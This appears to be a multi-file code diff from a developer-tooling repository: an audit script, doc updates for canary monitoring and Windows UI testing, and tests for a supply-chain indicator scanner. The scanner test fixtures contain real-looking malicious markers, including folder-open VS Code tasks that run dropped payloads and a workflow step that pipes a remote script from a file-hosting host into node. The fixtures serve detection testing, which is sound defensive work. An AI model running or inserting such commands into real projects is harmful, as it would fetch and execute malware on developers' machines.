||||
maxBuffer: 10 * 1024 * 1024,
|
||||
});
|
||||
|
||||
if (result.error) {
|
||||
throw new Error(`${command} ${args.join(' ')} failed: ${result.error.message}`);
|
||||
}
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new Error(`${command} ${args.join(' ')} failed: ${(result.stderr || result.stdout || '').trim()}`);
|
||||
}
|
||||
|
||||
return result.stdout || '';
|
||||
}
|
||||
|
||||
function runGhJson(args, options = {}) {
|
||||
const shimPath = process.env.ECC_GH_SHIM;
|
||||
const command = shimPath ? process.execPath : 'gh';
|
||||
const commandArgs = shimPath ? [shimPath, ...args] : args;
|
||||
const env = { ...process.env };
|
||||
|
||||
if (!options.useEnvGithubToken) {
|
||||
delete env.GITHUB_TOKEN;
|
||||
}
|
||||
|
||||
const stdout = runCommand(command, commandArgs, { env });
|
||||
try {
|
||||
return JSON.parse(stdout || 'null');
|
||||
} catch (error) {
|
||||
throw new Error(`gh ${args.join(' ')} returned invalid JSON: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
function readText(rootDir, relativePath) {
|
||||
try {
|
||||
return fs.readFileSync(path.join(rootDir, relativePath), 'utf8');
|
||||
} catch (_error) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
function safeParseJson(text) {
|
||||
if (!text || !text.trim()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return JSON.parse(text);
|
||||
} catch (_error) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function includesAll(text, needles) {
|
||||
return needles.every(needle => text.includes(needle));
|
||||
}
|
||||
|
||||
function buildCheck(id, status, summary, details = {}) {
|
||||
return { id, status, summary, ...details };
|
||||
}
|
||||
|
||||
function parseGitStatus(output) {
|
||||
const lines = output.split(/\r?\n/).filter(Boolean);
|
||||
const branchLine = lines[0] || '';
|
||||
const dirtyLines = lines.slice(1);
|
||||
return {
|
||||
branch: branchLine.replace(/^##\s*/, '') || null,
|
||||
dirtyLines,
|
||||
};
|
||||
}
|
||||
|
||||
function isAllowedUntracked(statusLine, allowUntracked) {
|
||||
if (!statusLine.startsWith('?? ')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const relativePath = statusLine.slice(3).replace(/\\/g, '/');
|
||||
return allowUntracked.some(prefix => relativePath === prefix || relativePath.startsWith(prefix));
|
||||
}
|
||||
|
||||
function inspectGit(rootDir, options) {
|
||||
try {
|
||||
const parsed = parseGitStatus(runCommand('git', ['status', '--short', '--branch'], { cwd: rootDir }));
|
||||
const ignoredDirty = parsed.dirtyLines.filter(line => isAllowedUntracked(line, options.allowUntracked));
|
||||
const blockingDirty = parsed.dirtyLines.filter(line => !isAllowedUntracked(line, options.allowUntracked));
|
||||
|
||||
return {
|
||||
available: true,
|
||||
branch: parsed.branch,
|
||||
dirtyLines: parsed.dirtyLines,
|
||||
ignoredDirty,
|
||||
blockingDirty,
|
||||
blockingDirtyCount: blockingDirty.length,
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
available: false,
|
||||
error: error.message,
|
||||
branch: null,
|
||||
dirtyLines: [],
|
||||
ignoredDirty: [],
|
||||
blockingDirty: [],
|
||||
blockingDirtyCount: 0,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
function discussionNeedsMaintainerTouch(discussion) {
|
||||
if (MAINTAINER_ASSOCIATIONS.has(discussion.authorAssociation)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const comments = discussion.comments && Array.isArray(discussion.comments.nodes)
|
||||
? discussion.comments.nodes
|
||||
: [];
|
||||
return !comments.some(comment => MAINTAINER_ASSOCIATIONS.has(comment.authorAssociation));
|
||||
}
|
||||
|
||||
function splitRepo(repo) {
|
||||
const [owner, name] = String(repo || '').split('/');
|
||||
if (!owner || !name) {
|
||||
throw new Error(`Invalid repo: ${repo}`);
|
||||
}
|
||||
return { owner, name };
|
||||
}
|
||||
|
||||
function fetchDiscussionSummary(repo, options) {
|
||||
const { owner, name } = splitRepo(repo);
|
||||
const payload = runGhJson([
|
||||
'api',
|
||||
'graphql',
|
||||
'-f',
|
||||
`owner=${owner}`,
|
||||
'-f',
|
||||
`name=${name}`,
|
||||
'-F',
|
||||
'first=100',
|
||||
'-f',
|
||||
`query=${DISCUSSION_QUERY}`,
|
||||
], options);
|
||||
const repository = payload && payload.data && payload.data.repository;
|
||||
const discussions = repository && repository.discussions;
|
||||
const nodes = discussions && Array.isArray(discussions.nodes) ? discussions.nodes : [];
|
||||
const needingTouch = nodes.filter(discussionNeedsMaintainerTouch);
|
||||
|
||||
return {
|
||||
enabled: Boolean(repository && repository.hasDiscussionsEnabled),
|
||||
totalCount: discussions && Number.isFinite(discussions.totalCount) ? discussions.totalCount : 0,
|
||||
sampledCount: nodes.length,
|
||||
needingMaintainerTouch: needingTouch.map(discussion => ({
|
||||
number: discussion.number,
|
||||
title: discussion.title,
|
||||
url: discussion.url,
|
||||
updatedAt: discussion.updatedAt,
|
||||
})),
|
||||
};
|
||||
}
|
||||
|
||||
function fetchGithubRepo(repo, options) {
|
||||
const prs = runGhJson([
|
||||
'pr',
|
||||
'list',
|
||||
'--repo',
|
||||
repo,
|
||||
'--state',
|
||||
'open',
|
||||
'--json',
|
||||
'number,title,isDraft,mergeStateStatus,updatedAt,url,author',
|
||||
], options);
|
||||
const issues = runGhJson([
|
||||
'issue',
|
||||
'list',
|
||||
'--repo',
|
||||
repo,
|
||||
'--state',
|
||||
'open',
|
||||
'--json',
|
||||
'number,title,updatedAt,url,author,labels',
|
||||
], options);
|
||||
const discussionSummary = fetchDiscussionSummary(repo, options);
|
||||
|
||||
return {
|
||||
repo,
|
||||
openPrs: Array.isArray(prs) ? prs.length : 0,
|
||||
openIssues: Array.isArray(issues) ? issues.length : 0,
|
||||
discussions: discussionSummary,
|
||||
dirtyPrs: (Array.isArray(prs) ? prs : []).filter(pr => pr.mergeStateStatus === 'DIRTY').map(pr => ({
|
||||
number: pr.number,
|
||||
title: pr.title,
|
||||
url: pr.url,
|
||||
})),
|
||||
};
|
||||
}
|
||||
|
||||
function buildGithubReport(options) {
|
||||
const repos = options.repos.length > 0 ? options.repos : DEFAULT_REPOS;
|
||||
|
||||
if (options.skipGithub) {
|
||||
return {
|
||||
skipped: true,
|
||||
repos: repos.map(repo => ({ repo, skipped: true })),
|
||||
totals: {
|
||||
openPrs: 0,
|
||||
openIssues: 0,
|
||||
discussionsNeedingMaintainerTouch: 0,
|
||||
dirtyPrs: 0,
|
||||
errors: 0,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
const repoReports = repos.map(repo => {
|
||||
try {
|
||||
return fetchGithubRepo(repo, options);
|
||||
} catch (error) {
|
||||
return {
|
||||
repo,
|
||||
error: error.message,
|
||||
openPrs: 0,
|
||||
openIssues: 0,
|
||||
discussions: {
|
||||
enabled: false,
|
||||
totalCount: 0,
|
||||
sampledCount: 0,
|
||||
needingMaintainerTouch: [],
|
||||
},
|
||||
dirtyPrs: [],
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
return {
|
||||
skipped: false,
|
||||
repos: repoReports,
|
||||
totals: {
|
||||
openPrs: repoReports.reduce((sum, repo) => sum + repo.openPrs, 0),
|
||||
openIssues: repoReports.reduce((sum, repo) => sum + repo.openIssues, 0),
|
||||
discussionsNeedingMaintainerTouch: repoReports.reduce((sum, repo) => sum + repo.discussions.needingMaintainerTouch.length, 0),
|
||||
dirtyPrs: repoReports.reduce((sum, repo) => sum + repo.dirtyPrs.length, 0),
|
||||
errors: repoReports.filter(repo => repo.error).length,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function buildLocalEvidenceChecks(rootDir) {
|
||||
const packageJson = safeParseJson(readText(rootDir, 'package.json')) || {};
|
||||
const packageScripts = packageJson.scripts || {};
|
||||
const roadmap = readText(rootDir, 'docs/ECC-2.0-GA-ROADMAP.md');
|
||||
const progressSync = readText(rootDir, 'docs/architecture/progress-sync-contract.md');
|
||||
const supplyChain = readText(rootDir, 'docs/security/supply-chain-incident-response.md');
|
||||
const evidence = readText(rootDir, 'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md');
|
||||
|
||||
return [
|
||||
buildCheck(
|
||||
'platform-audit-cli-surface',
|
||||
packageScripts['platform:audit'] === 'node scripts/platform-audit.js' ? 'pass' : 'fail',
|
||||
'package.json exposes the platform audit command',
|
||||
{ fix: 'Add "platform:audit": "node scripts/platform-audit.js" to package.json.' }
|
||||
),
|
||||
buildCheck(
|
||||
'roadmap-linear-mirror',
|
||||
includesAll(roadmap, ['linear.app/itomarkets/project/ecc-platform-roadmap', 'ITO-44', 'ITO-59']) ? 'pass' : 'fail',
|
||||
'repo roadmap mirrors the Linear roadmap and security/operator lanes',
|
||||
{ path: 'docs/ECC-2.0-GA-ROADMAP.md' }
|
||||
),
|
||||
buildCheck(
|
||||
'progress-sync-contract',
|
||||
includesAll(progressSync, ['GitHub PRs/issues/discussions', 'Linear project', 'local handoff', 'repo roadmap', 'scripts/work-items.js']) ? 'pass' : 'fail',
|
||||
'progress sync contract names GitHub, Linear, handoff, roadmap, and work-items surfaces',
|
||||
{ path: 'docs/architecture/progress-sync-contract.md' }
|
||||
),
|
||||
buildCheck(
|
||||
'supply-chain-runbook',
|
||||
includesAll(supplyChain, ['TanStack', 'Mini Shai-Hulud', 'node-ipc', 'scan-supply-chain-iocs.js']) ? 'pass' : 'fail',
|
||||
'supply-chain runbook covers the current TanStack/Mini Shai-Hulud/node-ipc scanner lane',
|
||||
{ path: 'docs/security/supply-chain-incident-response.md' }
|
||||
),
|
||||
buildCheck(
|
||||
'release-evidence-current',
|
||||
includesAll(evidence, ['TanStack', 'Mini Shai-Hulud', 'Node IPC follow-up', 'node-ipc', 'IOC scan']) ? 'pass' : 'fail',
|
||||
'rc.1 evidence includes current supply-chain verification artifacts',
|
||||
{ path: 'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md' }
|
||||
),
|
||||
];
|
||||
}
|
||||
|
||||
function buildReport(options) {
|
||||
const rootDir = path.resolve(options.root);
|
||||
const git = inspectGit(rootDir, options);
|
||||
const github = buildGithubReport(options);
|
||||
const checks = [];
|
||||
|
||||
checks.push(buildCheck(
|
||||
'git-worktree-blockers',
|
||||
!git.available ? 'warn' : (git.blockingDirtyCount <= options.thresholds.maxDirtyFiles ? 'pass' : 'fail'),
|
||||
!git.available
|
||||
? 'git status is unavailable for this root'
|
||||
: `blocking dirty files: ${git.blockingDirtyCount}`,
|
||||
{
|
||||
branch: git.branch,
|
||||
ignoredDirtyCount: git.ignoredDirty.length,
|
||||
blockingDirty: git.blockingDirty,
|
||||
fix: 'Commit, stash, or explicitly allow unrelated untracked files before claiming release readiness.',
|
||||
}
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-fetch',
|
||||
github.skipped ? 'warn' : (github.totals.errors === 0 ? 'pass' : 'fail'),
|
||||
github.skipped ? 'live GitHub checks skipped' : `GitHub fetch errors: ${github.totals.errors}`,
|
||||
{ fix: 'Re-run with working gh authentication or ECC_GH_SHIM for deterministic tests.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-open-pr-budget',
|
||||
github.totals.openPrs <= options.thresholds.maxOpenPrs ? 'pass' : 'fail',
|
||||
`open PRs: ${github.totals.openPrs}/${options.thresholds.maxOpenPrs}`,
|
||||
{ fix: 'Triage, merge, close, or attach open PRs to roadmap issues until under budget.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-open-issue-budget',
|
||||
github.totals.openIssues <= options.thresholds.maxOpenIssues ? 'pass' : 'fail',
|
||||
`open issues: ${github.totals.openIssues}/${options.thresholds.maxOpenIssues}`,
|
||||
{ fix: 'Triage, close, or attach open issues to Linear/project lanes until under budget.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-discussion-touch',
|
||||
github.totals.discussionsNeedingMaintainerTouch === 0 ? 'pass' : 'fail',
|
||||
`discussions needing maintainer touch: ${github.totals.discussionsNeedingMaintainerTouch}`,
|
||||
{ fix: 'Respond to or route discussions without maintainer touch before marking the queue current.' }
|
||||
));
|
||||
|
||||
checks.push(buildCheck(
|
||||
'github-conflict-queue',
|
||||
github.totals.dirtyPrs === 0 ? 'pass' : 'fail',
|
||||
`conflicting open PRs: ${github.totals.dirtyPrs}`,
|
||||
{ fix: 'Update, rebase, salvage, or close conflicting open PRs.' }
|
||||
));
|
||||
|
||||
checks.push(...buildLocalEvidenceChecks(rootDir));
|
||||
|
||||
const topActions = checks
|
||||
.filter(check => check.status === 'fail')
|
||||
.map(check => ({
|
||||
id: check.id,
|
||||
summary: check.summary,
|
||||
fix: check.fix || 'Review and remediate this failed check.',
|
||||
}));
|
||||
|
||||
return {
|
||||
schema_version: SCHEMA_VERSION,
|
||||
generatedAt: new Date().toISOString(),
|
||||
root: rootDir,
|
||||
ready: topActions.length === 0,
|
||||
thresholds: options.thresholds,
|
||||
git,
|
||||
github,
|
||||
checks,
|
||||
top_actions: topActions,
|
||||
};
|
||||
}
|
||||
|
||||
function renderText(report) {
|
||||
const lines = [
|
||||
`ECC Platform Audit: ${report.ready ? 'ready' : 'attention required'}`,
|
||||
`Generated: ${report.generatedAt}`,
|
||||
`Root: ${report.root}`,
|
||||
'',
|
||||
`Git: ${report.git.available ? report.git.branch : 'unavailable'}`,
|
||||
`Blocking dirty files: ${report.git.blockingDirtyCount}`,
|
||||
`Ignored dirty files: ${report.git.ignoredDirty.length}`,
|
||||
'',
|
||||
`GitHub skipped: ${report.github.skipped ? 'yes' : 'no'}`,
|
||||
`Open PRs: ${report.github.totals.openPrs}/${report.thresholds.maxOpenPrs}`,
|
||||
`Open issues: ${report.github.totals.openIssues}/${report.thresholds.maxOpenIssues}`,
|
||||
`Discussions needing maintainer touch: ${report.github.totals.discussionsNeedingMaintainerTouch}`,
|
||||
`Conflicting open PRs: ${report.github.totals.dirtyPrs}`,
|
||||
'',
|
||||
'Checks:',
|
||||
];
|
||||
|
||||
for (const check of report.checks) {
|
||||
lines.push(` ${check.status.toUpperCase()} ${check.id}: ${check.summary}`);
|
||||
}
|
||||
|
||||
lines.push('', 'Top actions:');
|
||||
if (report.top_actions.length === 0) {
|
||||
lines.push(' none');
|
||||
} else {
|
||||
for (const action of report.top_actions) {
|
||||
lines.push(` - ${action.id}: ${action.fix}`);
|
||||
}
|
||||
}
|
||||
|
||||
return `${lines.join('\n')}\n`;
|
||||
}
|
||||
|
||||
function main() {
|
||||
try {
|
||||
const options = parseArgs(process.argv);
|
||||
if (options.help) {
|
||||
usage();
|
||||
return;
|
||||
}
|
||||
|
||||
const report = buildReport(options);
|
||||
const output = options.format === 'json'
|
||||
? `${JSON.stringify(report, null, 2)}\n`
|
||||
: renderText(report);
|
||||
process.stdout.write(output);
|
||||
|
||||
if (options.exitCode && !report.ready) {
|
||||
process.exitCode = 2;
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error: ${error.message}`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
main();
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
buildReport,
|
||||
parseArgs,
|
||||
renderText,
|
||||
runGhJson,
|
||||
};
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: canary-watch
|
||||
description: Use this skill to monitor a deployed URL for regressions after deploys, merges, or dependency upgrades.
|
||||
description: Use this skill to monitor and verify a deployed URL after releases — checks HTTP endpoints, SSE streams, static assets, console errors, and performance regressions after deploys, merges, or dependency upgrades. Smoke / canary / post-deploy verification.
|
||||
origin: ECC
|
||||
---
|
||||
|
||||
@@ -27,6 +27,8 @@ Monitors a deployed URL for regressions. Runs in a loop until stopped or until t
|
||||
4. Performance — LCP/CLS/INP regression vs baseline?
|
||||
5. Content — did key elements disappear? (h1, nav, footer, CTA)
|
||||
6. API Health — are critical endpoints responding within SLA?
|
||||
7. Static Assets — are JS, CSS, image, and font requests returning 2xx/3xx with expected content types?
|
||||
8. SSE Streams — do event-stream endpoints connect and receive an initial event or heartbeat?
|
||||
```
|
||||
|
||||
### Watch Modes
|
||||
@@ -54,12 +56,16 @@ critical: # immediate alert
|
||||
- Console error count > 5 (new errors only)
|
||||
- LCP > 4s
|
||||
- API endpoint returns 5xx
|
||||
- Static asset returns 4xx/5xx
|
||||
- SSE endpoint cannot connect or drops before first heartbeat
|
||||
|
||||
warning: # flag in report
|
||||
- LCP increased > 500ms from baseline
|
||||
- CLS > 0.1
|
||||
- New console warnings
|
||||
- Response time > 2x baseline
|
||||
- Static asset content type changed unexpectedly
|
||||
- SSE heartbeat latency > 2x baseline
|
||||
|
||||
info: # log only
|
||||
- Minor performance variance
|
||||
@@ -87,6 +93,8 @@ When a critical threshold is crossed:
|
||||
| LCP | 1.8s ✓ | 1.6s | +200ms |
|
||||
| CLS | 0.01 ✓ | 0.01 | — |
|
||||
| API /health | 145ms ✓ | 120ms | +25ms |
|
||||
| Static assets | 42/42 ✓ | 42/42 | — |
|
||||
| SSE /events | connected ✓ | connected | +80ms heartbeat |
|
||||
|
||||
### No regressions detected. Deploy is clean.
|
||||
```
|
||||
|
||||
@@ -366,6 +366,65 @@ def stop_recording(proc):
|
||||
proc.stdin.write(b"q"); proc.stdin.flush(); proc.wait(timeout=10)
|
||||
```
|
||||
|
||||
## Per-Step Trace (opt-in)
|
||||
|
||||
The default failure screenshot is often too thin for diagnosing flaky tests. The step-level trace below is **off by default** — enable it only when reproducing a flaky case.
|
||||
|
||||
### Enable
|
||||
|
||||
```bash
|
||||
E2E_TRACE=1 pytest tests/test_login.py -v
|
||||
# Include typed text in the JSONL log (DO NOT use on tests that type credentials/PII):
|
||||
E2E_TRACE=1 E2E_TRACE_INCLUDE_TEXT=1 pytest ...
|
||||
```
|
||||
|
||||
### Patch into BasePage
|
||||
|
||||
```python
|
||||
import os, json, time
|
||||
TRACE_ENABLED = os.environ.get("E2E_TRACE") == "1"
|
||||
TRACE_INCLUDE_TEXT = os.environ.get("E2E_TRACE_INCLUDE_TEXT") == "1"
|
||||
|
||||
class BasePage:
|
||||
_step = 0
|
||||
|
||||
def _trace(self, action, spec=None, text=None):
|
||||
if not TRACE_ENABLED:
|
||||
return
|
||||
BasePage._step += 1
|
||||
idx = f"{BasePage._step:03d}"
|
||||
os.makedirs(ARTIFACT_DIR, exist_ok=True)
|
||||
try:
|
||||
self.window.capture_as_image().save(
|
||||
os.path.join(ARTIFACT_DIR, f"step_{idx}_{action}.png"))
|
||||
except Exception:
|
||||
pass # capture failure must not break the test
|
||||
rec = {
|
||||
"ts": time.time(), "step": BasePage._step, "action": action,
|
||||
"locator": getattr(spec, "criteria", None),
|
||||
"text": text if TRACE_INCLUDE_TEXT else ("<redacted>" if text else None),
|
||||
}
|
||||
with open(os.path.join(ARTIFACT_DIR, "trace.jsonl"), "a") as f:
|
||||
f.write(json.dumps(rec) + "\n")
|
||||
|
||||
def click(self, spec):
|
||||
self.wait_visible(spec); self._trace("click_before", spec)
|
||||
spec.click_input(); self._trace("click_after", spec)
|
||||
|
||||
def type_text(self, spec, text):
|
||||
self.wait_visible(spec); self._trace("type_before", spec, text)
|
||||
# ... existing set_edit_text / keyboard fallback ...
|
||||
self._trace("type_after", spec)
|
||||
```
|
||||
|
||||
### Caveats
|
||||
|
||||
- **PII / credentials**: `type_text` content is `<redacted>` by default. Never set `E2E_TRACE_INCLUDE_TEXT=1` on login or payment flows.
|
||||
- **Overhead**: ~50–200ms per action + one PNG per step on disk. Don't enable on the default CI matrix — only on a dedicated flake-repro job.
|
||||
- **Artifact bloat**: a long flow produces tens of MB; tune `retention-days` accordingly.
|
||||
- **Parallel/rerun hygiene**: this simple example appends to `trace.jsonl` and uses a class-level counter. Clear the artifact directory before reruns, and use per-worker artifact dirs for parallel tests.
|
||||
- **Coverage gap**: actions performed outside `BasePage` (raw `pywinauto` calls in test code) are not traced.
|
||||
|
||||
## Flaky Test Handling
|
||||
|
||||
```python
|
||||
@@ -387,6 +446,8 @@ Common causes and fixes:
|
||||
| Animation in progress | `wait_until(lambda: not loading_indicator.exists())` |
|
||||
| Dialog timing | `wait_window(title, timeout=15)` |
|
||||
| CI display not ready | Set `DISPLAY` or use virtual desktop in CI |
|
||||
| `set_edit_text` raises NotImplementedError | UIA ValuePattern missing (common on Qt 5.x) — `BasePage.type_text` already falls back to `keyboard.send_keys` |
|
||||
| Control exists but `wait_visible` times out | Window minimised or off-screen — call `win.restore()` + `win.set_focus()` before waiting |
|
||||
|
||||
## Test Isolation & Sandbox
|
||||
|
||||
@@ -719,6 +780,44 @@ def click_image(template_path, confidence=0.85):
|
||||
pyautogui.click(*pos)
|
||||
```
|
||||
|
||||
### DPI / Scaling Rules (screenshot mode only)
|
||||
|
||||
Screenshot matching is brutally sensitive to Windows display scaling (100% / 125% / 150%). Three hard rules:
|
||||
|
||||
1. **Capture templates at the same scale as the target machine.** Don't try to rescue a mismatch with `PIL.Image.resize` — `cv2.matchTemplate` is very fragile against resampling artefacts.
|
||||
2. **Pin the CI display scaling.** On `windows-latest` add a step like `Set-DisplayResolution 1920 1080 -Force` and disable per-monitor DPI scaling, so screenshot dimensions are reproducible.
|
||||
3. **Record the scale alongside each artefact.** On capture, write `GetDpiForWindow(hwnd) / 96` to `artifacts/<test>/metadata.json` — postmortems become obvious instead of guess-work.
|
||||
|
||||
> Process-level DPI awareness (`SetProcessDpiAwarenessContext`) **can conflict with Qt's own DPI handling** when the app under test is Qt-based. Prefer "same-scale templates + CI pin" over flipping process-wide DPI mode in fixtures.
|
||||
|
||||
### Debugging Match Confidence
|
||||
|
||||
When tuning the `confidence` threshold, the only sane workflow is to **see** where the match landed. The helper below is diagnosis-only — do not call it from test code.
|
||||
|
||||
```python
|
||||
def debug_match(template_path, out="artifacts/match_debug.png", confidence=0.85):
|
||||
"""Diagnosis-only. Draw the best-match rectangle + score back on the current screen.
|
||||
|
||||
NOT for production tests — use when calibrating confidence or chasing false matches.
|
||||
"""
|
||||
import os, cv2, pyautogui, numpy as np
|
||||
screen = np.array(pyautogui.screenshot())[:, :, ::-1]
|
||||
tpl = cv2.imread(template_path)
|
||||
if tpl is None:
|
||||
raise RuntimeError(f"Template unreadable: {template_path}")
|
||||
res = cv2.matchTemplate(screen, tpl, cv2.TM_CCOEFF_NORMED)
|
||||
_, mv, _, ml = cv2.minMaxLoc(res)
|
||||
h, w = tpl.shape[:2]
|
||||
colour = (0, 255, 0) if mv >= confidence else (0, 0, 255) # green pass / red fail
|
||||
cv2.rectangle(screen, ml, (ml[0]+w, ml[1]+h), colour, 2)
|
||||
cv2.putText(screen, f"score={mv:.3f} thr={confidence}",
|
||||
(ml[0], max(20, ml[1]-6)),
|
||||
cv2.FONT_HERSHEY_SIMPLEX, 0.7, colour, 2)
|
||||
os.makedirs(os.path.dirname(out) or ".", exist_ok=True)
|
||||
cv2.imwrite(out, screen)
|
||||
return mv
|
||||
```
|
||||
|
||||
**Use sparingly** — image matching breaks on DPI changes, theme switches, and partial occlusion.
|
||||
Always try UIA first; fall back to screenshots only for genuinely unreachable controls.
|
||||
|
||||
|
||||
@@ -11,6 +11,10 @@ const { spawnSync } = require('child_process');
|
||||
|
||||
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
|
||||
const { scanSupplyChainIocs } = require(SCRIPT_PATH);
|
||||
const TANSTACK_SETUP_DEPENDENCY = [
|
||||
'github:tanstack/router#79ac49eedf774dd4b0cf',
|
||||
'a308722bc463cfe5885c',
|
||||
].join('');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
@@ -68,6 +72,73 @@ function run() {
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects expanded Mini Shai-Hulud campaign package versions', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/@opensearch-project/opensearch': {
|
||||
version: '3.5.3',
|
||||
},
|
||||
'node_modules/@squawk/mcp': {
|
||||
version: '0.9.5',
|
||||
},
|
||||
'node_modules/@mistralai/mistralai': {
|
||||
version: '2.2.2',
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
'requirements.txt': [
|
||||
'mistralai==2.4.6',
|
||||
'guardrails-ai==0.10.1',
|
||||
'lightning==2.6.3',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('@opensearch-project/opensearch@3.5.3'));
|
||||
assert.ok(indicators.includes('@squawk/mcp@0.9.5'));
|
||||
assert.ok(indicators.includes('@mistralai/mistralai@2.2.2'));
|
||||
assert.ok(indicators.includes('mistralai@2.4.6'));
|
||||
assert.ok(indicators.includes('guardrails-ai@0.10.1'));
|
||||
assert.ok(indicators.includes('lightning@2.6.3'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects node-ipc campaign package versions and CJS indicators', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/node-ipc': {
|
||||
version: '12.0.1',
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
'node_modules/node-ipc/package.json': JSON.stringify({
|
||||
name: 'node-ipc',
|
||||
version: '9.2.3',
|
||||
}, null, 2),
|
||||
'node_modules/node-ipc/node-ipc.cjs': [
|
||||
'const host = "sh.azurestaticprovider.net";',
|
||||
'const zone = "bt.node.js";',
|
||||
'process.env.__ntw = "1";',
|
||||
'module.exports.__ntRun = true;',
|
||||
'const archive = "/nt-/sample.tar.gz";',
|
||||
'const entries = ["uname.txt", "envs.txt", "fixtures/_paths.txt"];',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('node-ipc@12.0.1'));
|
||||
assert.ok(indicators.includes('node-ipc@9.2.3'));
|
||||
assert.ok(indicators.includes('sh.azurestaticprovider.net'));
|
||||
assert.ok(indicators.includes('bt.node.js'));
|
||||
assert.ok(indicators.includes('__ntw'));
|
||||
assert.ok(indicators.includes('__ntRun'));
|
||||
assert.ok(indicators.includes('/nt-'));
|
||||
assert.ok(indicators.includes('fixtures/_paths.txt'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('passes clean versions of watched packages', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
@@ -83,13 +154,28 @@ function run() {
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('does not flag benign substrings in clean package scripts', () => {
|
||||
withFixture({
|
||||
'node_modules/uuid/package.json': JSON.stringify({
|
||||
name: 'uuid',
|
||||
version: '9.0.1',
|
||||
scripts: {
|
||||
test: 'BABEL_ENV=commonjsNode node --throw-deprecation node_modules/.bin/jest test/unit/',
|
||||
},
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.deepStrictEqual(result.findings, []);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects malicious optional dependency markers', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/@tanstack/history': {
|
||||
optionalDependencies: {
|
||||
'@tanstack/setup': 'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c',
|
||||
'@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
|
||||
},
|
||||
},
|
||||
},
|
||||
@@ -116,12 +202,84 @@ function run() {
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects current dead-drop and import-time payload markers', () => {
|
||||
withFixture({
|
||||
'.vscode/tasks.json': JSON.stringify({
|
||||
tasks: [{
|
||||
label: 'watch',
|
||||
command: 'python3 /tmp/transformers.pyz && node execution.js',
|
||||
runOptions: { runOn: 'folderOpen' },
|
||||
}],
|
||||
}, null, 2),
|
||||
'package.json': JSON.stringify({
|
||||
description: 'Shai-Hulud: Here We Go Again',
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'transformers.pyz'));
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'execution.js'));
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'Shai-Hulud: Here We Go Again'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects dead-man switch and workflow persistence markers', () => {
|
||||
withFixture({
|
||||
'.vscode/tasks.json': JSON.stringify({
|
||||
tasks: [{
|
||||
label: 'monitor',
|
||||
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||
runOptions: { runOn: 'folderOpen' },
|
||||
}],
|
||||
}, null, 2),
|
||||
'.github/workflows/codeql_analysis.yml': [
|
||||
'name: codeql_analysis',
|
||||
'on: push',
|
||||
'jobs:',
|
||||
' shai-hulud:',
|
||||
' runs-on: ubuntu-latest',
|
||||
' steps:',
|
||||
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
|
||||
' - run: echo svksjrhjkcejg',
|
||||
' - run: echo OhNoWhatsGoingOnWithGitHub',
|
||||
' - run: echo claude@users.noreply.github.com',
|
||||
' - run: echo dependabout/router/setup-formatter',
|
||||
' - run: echo signalservice snode',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
